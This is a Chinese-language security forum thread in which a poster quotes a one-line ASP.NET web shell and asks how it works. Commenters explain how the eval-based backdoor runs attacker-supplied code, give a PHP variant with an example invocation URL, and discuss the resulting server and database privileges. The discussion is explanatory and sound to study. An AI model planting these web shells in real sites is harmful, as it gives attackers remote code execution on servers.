一句話木馬 - 資安

By Necoo
at 2019-05-24T20:13

Table of Contents

在網路上看到這個東東
<%@ Page Language="Jscript" validateRequest="false"
%><%Response.Write(eval(Request.Item["w"],"unsafe"));%>

挺有趣的，有大神可以解釋這一行作用嗎，感謝。

--

Tags: 資安

All Comments

By Caitlin
at 2019-05-27T13:05

嗯，這句話真長...

By Oliver
at 2019-05-28T07:53

eval是個可以把接收到的字串轉成code的函式，所以今天這個
程式收到一個Request，可能是get也可能是post吧，傳來了一

By Una
at 2019-05-29T04:36

個變數叫作w，而我們在這個w中可以放入程式碼，然後他就會

By Susan
at 2019-06-03T02:23

執行，是說仔細看看，這樣應該算是兩句話...

By Puput
at 2019-06-05T22:49

真正一句話木馬---> eval($_GET('shell'));

By Charlotte
at 2019-06-07T10:14

要執行時像是這樣 foo.com/index.php?shell="echo 'atk';"

By Queena
at 2019-06-11T06:26

我打了好多字... 我可以轉CyberSecure板嘛？

By Joseph
at 2019-06-14T17:30

一句話木馬都可以寫成半本書了 XD

By Damian
at 2019-06-16T12:42

請教st大所以這個w算是拿到os的root shell嗎? 也能執
行任何資料庫的撈取?

By Hedwig
at 2019-06-17T21:05

嗯，沒意見，應該是可以轉，晚點轉轉

By Mason
at 2019-06-21T10:41

這個w有沒有取得root權限要看被注入木馬的檔案本身的權限

By Madame
at 2019-06-26T03:17

，一般而言，普通的檔案是不會有root權限的，如果操作正常
...我是有聽說過有不少人沒事就給PHPmyadmin root 然後被
人用這個REC時就Q了XDDD

By Kristin
at 2019-06-27T07:15

以PHP為例，通常沒有意外的話，一個PHP是可以撈取DB，如果

By Linda
at 2019-06-30T09:25

沒有特別控管是可以執行任何資料庫的撈取沒錯

By Steve
at 2019-07-03T04:20

不過專業點的會把DB分段，這時就只能撈有權限的那段了

By Carolina Franco
at 2019-07-07T07:32

是說我有些用詞沒有很精確，不要太在意>"<

By Hardy
at 2019-07-09T14:12

樓上怪怪的.. 該說執行木馬者的執行權限吧?

By Gary
at 2019-07-09T20:07

雖然備注入木馬的.php是ooxx:ooxx但如果apache是root執行,
還是會拿到root權限.. 同樣的, 如果從mysql執行系統指令,
看的就是mysql的服務是誰啟動的, 如果用appserv, 全部跑

By Ida
at 2019-07-10T15:18

administrator當然就... ((請自行想像..

By Bethany
at 2019-07-15T05:09

然後樓上提到拿到一句話的權限是否能不能撈DB..
如果DB另外有設密碼, 就要另外破密碼..

By Andrew
at 2019-07-17T05:26

回文好了..

By Bennie
at 2019-07-17T10:10

嗯，對啊，所以我說我說的不精確

CVE-2019-0708

By Callum
at 2019-05-20T15:09

# CVE-2019-0708[0] # 簡單來說：Windows 有一個 RCE 漏洞很嚴重嚴重到說好 XP 不再更新也更新了 POC[1][2][3] 很多如果想要為區塊鏈獻上一絲心力想要維持區塊鏈的和平的話可以不用更新 [0]: https://support.microsoft. ...

CTF問題 TLS相關

By George
at 2019-05-20T11:27

※ [本文轉錄自 CyberSecure 看板 #1SuXruDo ] 作者: cloud2000s () 看板: CyberSecure 標題: [請益] CTF問題 TLS相關時間: Mon May 20 11:22:29 2019 大家好，想請教關於CTF的問題題目 https://i.i ...

小風的資安科普-SQL injection

By Skylar DavisLinda
at 2019-05-11T21:07

※ [本文轉錄自 CyberSecure 看板 #1SrZoqyB ] 作者: st1009 (前端攻城師) 看板: CyberSecure 標題: [教學] 小風的資安科普-SQL injection 時間: Sat May 11 11:08:32 2019 一.前言 SQL injecti ...

請問找資安方面的工作需要會那些技能和程式語言

By Genevieve
at 2019-05-08T23:04

※ 引述《dp2046 (Kevin)》之銘言： : 大家好 : 就我了解資訊安全的工作有分很多面向 : 例如：資安管理、滲透測試、弱點掃描、原始碼檢測、逆向工程 : 個人是比較傾向找前三者 : 其他像是逆向工程感覺職缺非常少 : 而且好像需要會組合語言 : 以前曾接觸組合語言這對我來說真的太難了 : 再來介 ...

請問找資安方面的工作需要會那些技能和程式語言

By Valerie
at 2019-05-08T21:53

大家好就我了解資訊安全的工作有分很多面向例如：資安管理、滲透測試、弱點掃描、原始碼檢測、逆向工程個人是比較傾向找前三者其他像是逆向工程感覺職缺非常少而且好像需要會組合語言以前曾接觸組合語言這對我來說真的太難了再來介紹一下自己大學時有修過網路概論的課程式語言方面有修過C和資料結構的課只是C ...

一句話木馬 - 資安

All Comments

Related Posts